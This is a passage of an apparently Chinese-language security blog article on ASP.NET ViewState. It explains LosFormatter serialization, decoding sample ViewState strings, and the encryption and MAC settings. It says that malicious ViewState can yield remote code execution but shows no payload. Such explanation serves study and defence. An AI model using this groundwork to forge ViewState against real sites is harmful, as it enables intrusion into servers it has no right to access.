sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=21a527fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEEILFjMiaOxB8yFgibg41y7bGDBFe6wsR8l8Cp6q6N7vGdXo4uiaJ32SCQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">有一个默认的Default.aspx</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="103" data-backw="319" data-ratio="0.3216704288939052" title="null" data-type="png" data-w="886" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=04de4f99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEe4cxhfOpEm8dHyg5XkjRUZpib0olZn4iap5icicibjrFw1TSpQmJ8OvaiaWQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">其中form表单有 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">runat=&#34;server&#34;</code> 属性，然后页面中生成了 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATE</code> 和 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATEGENERATOR</code> 两个隐藏字段。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="116" data-backw="319" data-ratio="0.3651452282157676" title="null" data-type="png" data-w="964" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c1a31b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEibVPfHL6SWmHSmcZ2qibPfSnniaf21HIj0jntNvY7aJ0gPelrZDowcKicA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">使用<span style="box-sizing: border-box;color: rgb(0, 153, 38);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">ViewStateDecoder<sup style="box-sizing: border-box;">[1]</sup></span>解密内容</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="132" data-backw="319" data-ratio="0.4127617148554337" title="null" data-type="png" data-w="1003" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=09932293&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuENyg05aRje0ewISA2928UYlRKIylQRnUp8ZBRRF6zSh55lsIhkL1Bgg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">看过我之前文章的人应该知道这一串<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/wEPDwULLTE2MTY2ODcyMjlkZPANhFrc/D/zynboI58b9RD9UhX7OF4/2ILmVw2Vu7d2</code>是由losFormatter序列化二进制数据然后base64的字符串</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="204" data-backw="319" data-ratio="0.6382306477093207" title="null" data-type="png" data-w="1266" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=84f04ce6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEVINTgJ0uKzyp52WjrwNQibkR6rlCwBpXLBsgfxymfDzETRZ6edwNdcw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">反序列化回来可知其本质是一组<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">System.Web.UI.Pair</code>对象。我们可以在代码中向viewstate中添加键值来保存一些对象。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">比如Default.aspx.cs</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Collections.Generic;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Web;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Web.UI;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Web.UI.WebControls;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> partial <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> _<span class="code-snippet__title">Default</span> :</span> System.Web.UI.Page </span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">Page_Load</span><span class="code-snippet__params">(object sender, EventArgs e)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        ViewState.Add(<span class="code-snippet__string">&#34;asd&#34;</span>, <span class="code-snippet__string">&#34;asd&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">此时viewstate值为 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/wEPDwULLTE2MTY2ODcyMjkPFgIeA2FzZAUDYXNkZGRE3e84k6pb/oXbu/72ZxNc9h9dcEj+8FXmWEbtzuCtkQ==</code></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="165" data-backw="319" data-ratio="0.519" title="null" data-type="png" data-w="1000" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=17e8d1e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEONW83OZV3U40KDRiasGTB50xNnwSEU5vGtc303ibFNUicszFFBfQ21Myg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">也正是因为viewstate可以被任何人拿过来反序列化拿到其中的敏感信息，甚至可以直接传递恶意的viewstate进行反序列化rce(这个放后面演示)，所以losformatter被弃用而转由ObjectStateFormatter代替。ObjectStateFormatter的作用就在于对viewstate进行加密，并校验签名防篡改。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">viewstate的加密和防篡改</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在dotnet2.0中，aspx的Page标签，或者web.config中都可以对viewstate进行加密，关键取决于以下两个值</p><p style="box-sizing: border-box;padding-left: 1em;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>ViewStateEncryptionMode=&#34;Always&#34;</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>EnableViewStateMac=&#34;true&#34;</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">ViewStateEncryptionMode是一个枚举，三个选项值就不解释了。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="201" data-backw="319" data-ratio="0.62877030162413" title="null" data-type="png" data-w="431" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4eab8e5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEfEgEcgbpCA9Is92PbUsjkjDVjYGPFSdumibcOYSVVk7SpbBODdCDQcA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">单独加密并不能解决篡改的问题，需要EnableViewStateMac来保证数据完整性。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">当在aspx页面中启用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">ViewStateEncryptionMode=&#34;Always&#34;</code>时viewstate随之加密。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="66" data-backw="319" data-ratio="0.20797101449275363" title="null" data-type="png" data-w="1380" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=20044b4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEm5YcdqwjOwWPPqcbDia5xSibEcEKKQLAR2KteMlz0fDp0PhTybwMxsfw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">而对于EnableViewStateMac</p><blockquote style="box-sizing: border-box;margin: 2em 8px;padding: 1em;white-space: normal;text-align: left;color: rgb(254, 238, 237);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;border-radius: 4px;background: rgba(27, 31, 35, 0.05);"><p style="box-sizing: border-box;color: rgb(80, 80, 80);line-height: 1.75;font-family: PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 1em;letter-spacing: 0.1em;display: inline;">从.NET 4.5.2 开始，强制启用ViewStateMac功能，也就是说即使你将 EnableViewStateMac设置为false，也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。</p></blockquote><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">他的值取决于web.config中的一个键值和一个注册表的值，以及page自身的EnableViewStateMac。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在ObjectStateFormatter.Deserialize()中</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="178" data-backw="319" data-ratio="0.5597548518896833" title="null" data-type="png" data-w="979" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4cc345cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEsj99G9TN2toLRPRmeBdlpBu0Xb9q6Nia6Zn0neYH94evFdpHZnK6uZg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">array数组取决于是否启用EnableViewStateMac</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="169" data-backw="319" data-ratio="0.5314183123877917" title="null" data-type="png" data-w="557" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=659e35b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEvkw95J33Fmb2eGSAiboJgkLHsLgswtQaCHfHtorpDDE9YI5nekk1ubA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 